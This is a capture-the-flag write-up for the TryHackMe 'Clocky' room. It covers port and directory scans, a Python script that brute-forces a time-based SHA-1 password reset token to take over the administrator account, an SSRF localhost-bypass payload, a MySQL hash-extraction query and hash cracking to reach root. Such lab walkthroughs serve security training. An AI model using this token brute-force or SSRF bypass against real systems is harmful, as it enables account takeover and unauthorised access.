> For the complete documentation index, see [llms.txt](https://bunring.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bunring.gitbook.io/ctf-writeups/try-hack-me/2024/clocky.md).

# Clocky

{% embed url="<https://tryhackme.com/r/room/clocky>" %}

## Recon

Let's sstart with a nmap scan

```
┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 10.10.24.33   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-01 02:00 EDT
Nmap scan report for clocky.thm (10.10.24.33)
Host is up (0.17s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 430.93 seconds
```

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,80,8000,8080  -T4 10.10.24.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-01 02:35 EDT
Nmap scan report for clocky.thm (10.10.24.33)
Host is up (0.16s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d9:42:e0:c0:d0:a9:8a:c3:82:65:ab:1e:5c:9c:0d:ef (RSA)
|   256 ff:b6:27:d5:8f:80:2a:87:67:25:ef:93:a0:6b:5b:59 (ECDSA)
|_  256 e1:2f:4a:f5:6d:f1:c4:bc:89:78:29:72:0c:ec:32:d2 (ED25519)
80/tcp   open  http       Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
8000/tcp open  http       nginx 1.18.0 (Ubuntu)
|_http-title: 403 Forbidden
| http-robots.txt: 3 disallowed entries 
|_/*.sql$ /*.zip$ /*.bak$
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http-proxy Werkzeug/2.2.3 Python/3.8.10
|_http-title: Clocky
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.3 Python/3.8.10
|     Date: Mon, 01 Apr 2024 06:35:09 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 6206
|     Connection: close
|     <head>
|     <style>
|     body {
|     background-color:#fff;
|     background-position:center;
|     background-repeat:repeat-y;
|     font-family: "Lucida Grande","Lucida Sans Unicode",geneva,verdana,sans-serif;
|     font-size:10px;
|     color:#777;
|     #container {
|     width:500px;
|     margin:0 auto;
|     #header {
|     background-color:#eeeeee;
|     margin:10px;
|     padding:30px 10px 30px 10px;
|     border-top:2px solid #ccc;
|     #header h1 {
|     text-align:center;
|     font-family:Trebuchet MS, Geneva, Arial, Helvetica, sans-serif;
|     font-size:30px;
|     color:#333;
|     margin:0;
|     font-weight:normal;
|     #header h1 strong {
|     color:#A85BA6;
|     #header h1 a {
|     color:#333;
|     text-decoration:none;
|     #header h2 {
|     font-size:11px;
|     font-weight:normal;
|     text-align:center;
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.3 Python/3.8.10
|     Date: Mon, 01 Apr 2024 06:35:10 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-server-header: Werkzeug/2.2.3 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=4/1%Time=660A559D%P=x86_64-pc-linux-gnu%r
...
SF:d\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.15 seconds

```

{% endcode %}

From the nmap scan we can see port `80` and `8000` gives forbidden. Visiting these ports will also give you a 403 forbidden. However we can see `robots.txt` is available on port `8000`.

We can visit that and get our first flag.

<figure><img src="/files/9qp4m4KBTI0ZzyspR6vd" alt=""><figcaption></figcaption></figure>

We also get a disallow list for the extensions `sql`, `zip`, `bak`.

Feroxbuster revealed `index.zip`. Downloading it and unzipping it gave us 2 files `app.py` and `flag2.txt`.

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://clocky.thm:8000 -x sql,zip,bak
                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.2
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://clocky.thm:8000
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.2
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [sql, zip, bak]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c http://clocky.thm:8000/
200      GET       11l       46w     3280c http://clocky.thm:8000/index.zip
[####################] - 7m    120000/120000  0s      found:2       errors:0      
[####################] - 7m    120000/120000  295/s   http://clocky.thm:8000/  
```

{% endcode %}

We have our 2nd flag.&#x20;

<figure><img src="/files/slcB7p8ikmZBhSIP6O1X" alt=""><figcaption></figcaption></figure>

Port 8080 was accessible and we are met with a page that tells the time.

<figure><img src="/files/3Ozze3AYG5tqp3vOKzxL" alt=""><figcaption></figcaption></figure>

Since this room is based on time and the current time displayed on the page seems to be in London Time Zone.

Feroxbuster search on port `8080` revealed some directories:

&#x20;and mainly a login page. i.e: `/administrator`. It also reveals /dashboard but that just redirects to `/administrator`.&#x20;

Having a closer look at `app.py` we find an interesting block of code.

{% code title="Snippet from app.py. " lineNumbers="true" fullWidth="false" %}

```python
def forgot_password():
	if session.get("logged_in"):
		return render_template("admin.html")

	else:
		if request.method == "GET":
			return render_template("forgot_password.html")
		
		if request.method == "POST":
			username = request.form["username"]
			username = username.lower()

			try:
				with connection.cursor() as cursor:

					sql = "SELECT username FROM users WHERE username = %s"
					cursor.execute(sql, (username))

					if cursor.fetchone():
						value = datetime.datetime.now()
						lnk = str(value)[:-4] + " . " + username.upper()
						lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
						sql = "UPDATE reset_token SET token=%s WHERE username = %s"
						cursor.execute(sql, (lnk, username))
						connection.commit()

			except:
				pass

			message = "A reset link has been sent to your e-mail"
			return render_template("forgot_password.html", message=message)


# Done
```

{% endcode %}

This code essentially checks if a username exists in the database, and if it does, it generates a token based on the current timestamp and the username, hashes it using SHA-1 and updates the corresponding token in the database. This process is typically used for generating and updating password reset tokens.

We can use this to make a small script that will generate the token for the username Administrator for us.&#x20;

{% code title="Tokengen.py" lineNumbers="true" %}

```python
import datetime  
import hashlib   
import requests  
import re        

# Define the username for which the password reset token will be generated
username = 'administrator'

# Define the base URL of the target web application
base_url = 'http://clocky.thm:8080/'

# Data payload for the POST request to the 'forgot_password' endpoint
data = {
    "username": "Administrator"
}

# Send a POST request to the 'forgot_password' endpoint to initiate password reset
requests.post(base_url + "forgot_password", data=data)

# Send a GET request to the base URL to retrieve the current time from the web application
response = requests.get(base_url)

# Check if the response status code is 200 (OK)
if response.status_code == 200:
    # Define a regular expression pattern to extract the current time from the response
    time_pattern = r'The current time is (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})'
    # Search for the pattern in the response text
    match = re.search(time_pattern, response.text)
    if match:
        # Extract the current time string from the matched pattern
        current_time_str = match.group(1)

# Print the current time string (optional)
print(current_time_str)

# List to store valid password reset tokens
valid_tokens = []

# Iterate through milliseconds from 00 to 99
for ms in range(100):
    # Convert milliseconds to a two-digit string (e.g., '00', '01', ..., '99')
    ms_str = str(ms).zfill(2)
    # Construct the token data by concatenating current time, milliseconds, and username
    token_data = current_time_str + "." + ms_str + " . " + username.upper()
    # Hash the token data using SHA-1 hashing algorithm
    hashed_token = hashlib.sha1(token_data.encode("utf-8")).hexdigest()
    
    # Send a GET request to the 'password_reset' endpoint with the generated token as a parameter
    response = requests.get(base_url + 'password_reset', params={'token': hashed_token})
    
    # Check if the response does not contain the 'Invalid token' message
    if '<h2>Invalid token</h2>' not in response.text:
        # Print the valid token
        print('Valid token: {}'.format(hashed_token))
        # Add the valid token to the list
        valid_tokens.append(hashed_token)

# Print the list of valid tokens
print("Valid tokens:", valid_tokens)

```

{% endcode %}

```
┌──(kali㉿kali)-[~/Desktop/THM/Clocky]
└─$ python test.py
Valid token: **********************************486ac2
('Valid tokens:', ['**********************************486ac2'])
```

It is important to first use the forgot password page and then generate token at roughly the same time.

We can now access the password reset page for Administrator:

`http://clocky.thm:8080/password_reset?token="Generated_Token"`

<figure><img src="/files/yX5CZeLIehlrr2VRjteq" alt=""><figcaption></figcaption></figure>

We can see in the above image that the token we generated worked and we have successfully reset the password. We've also got our 3rd flag.

<figure><img src="/files/9FzNvobG8vUnhgXXcHcl" alt=""><figcaption></figcaption></figure>

The page also has an input for location. Upon entering something it downloads a file. From app.py we know that there is an SQL database on localhost. Directly entering `http://localhost/database.sql` will download a file but the file will show a forbidden 403.

We need to do some URL bypass. The below link has a list of possible payloads we can use.

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass>" %}

```
http://0x7f000001/database.sql
```

The above payload worked and we got a file which gave us Flag 4 and some other details.

<figure><img src="/files/Wv4Kxbxwv0vOrOHL4kjE" alt=""><figcaption></figcaption></figure>

## Initial Access

We have a password for some user. From `app.py` we know found users `Jane` and `Clarice`.

The password worked for `Clarice` and we were able to SSH in and get Flag 5.&#x20;

In the `app` folder we can view `.env` for another password.&#x20;

<figure><img src="/files/031E6wS7M3SrM2Yp3pV0" alt=""><figcaption></figcaption></figure>

We can use this password to login into mysql.

<figure><img src="/files/1B0nutQyHtle8Gq1Y9KG" alt=""><figcaption></figcaption></figure>

We can find few databases and some tables. We can also find the forgot password token.

The database mysql has alot of tables and the user table shows some users and hash. They seem to be poorly formated. Fortunately we can fix that and then use hash cat to obtain some passwords.

<figure><img src="/files/DF4BYXdqQnFRzAwb2pi4" alt=""><figcaption></figcaption></figure>

The below commad gives us a nice format to view the username and hash.&#x20;

{% code overflow="wrap" %}

```sql
SELECT user, CONCAT('$mysql',LEFT(authentication_string,6),'',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
```

{% endcode %}

<figure><img src="/files/E7UZl7oGW30i1xW6Vkzy" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

We have obtained 5 hashes. Let us use hashcat to crack the hash and obtain the password for the user `dev`.

<figure><img src="/files/o9Ucpx2slIe2zLyan5Xc" alt=""><figcaption></figcaption></figure>

We can use this password to get root access and obtain the final flag.

<figure><img src="/files/nH6LxMNkdcznh4JZu9bm" alt=""><figcaption></figcaption></figure>
